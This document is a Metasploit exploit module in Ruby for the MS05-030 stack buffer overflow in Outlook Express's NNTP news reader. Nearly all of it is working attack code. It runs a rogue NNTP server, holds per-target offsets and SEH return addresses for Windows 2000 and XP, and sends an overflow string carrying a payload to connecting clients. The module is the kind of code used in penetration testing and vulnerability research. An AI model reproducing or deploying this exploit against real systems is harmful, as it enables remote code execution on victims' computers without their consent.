Microsoft Outlook Express – NNTP Response Parsing Buffer Overflow (MS05-030) (Metasploit)
## # $Id: ms05_030_nntp.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Outlook Express NNTP Response Parsing Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the news reader of Microsoft Outlook Express. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2005-1213' ], [ 'OSVDB', '17306' ], [ 'BID', '13951' ], [ 'MSB', 'MS05-030' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00", 'MaxNops' => 0, 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }], ['Windows XP English SP0/SP1', { 'Offset' => 9596, 'Ret' => 0x71aa2461 }], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 14 2005', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ]) ], self.class) end def on_client_connect(client) yup = "200\r\n" client.put(yup) client.put(yup) end def on_client_data(client) return if ((p = regenerate_payload(client)) == nil) filler = "215 list\r\n" + "group " filler << rand_text_english(target['Offset']) seh = generate_seh_payload(target.ret) sploit = filler + seh + " 1 y\r\n\.\r\n" print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...") client.put(sploit) handler service.close_client(client) end end |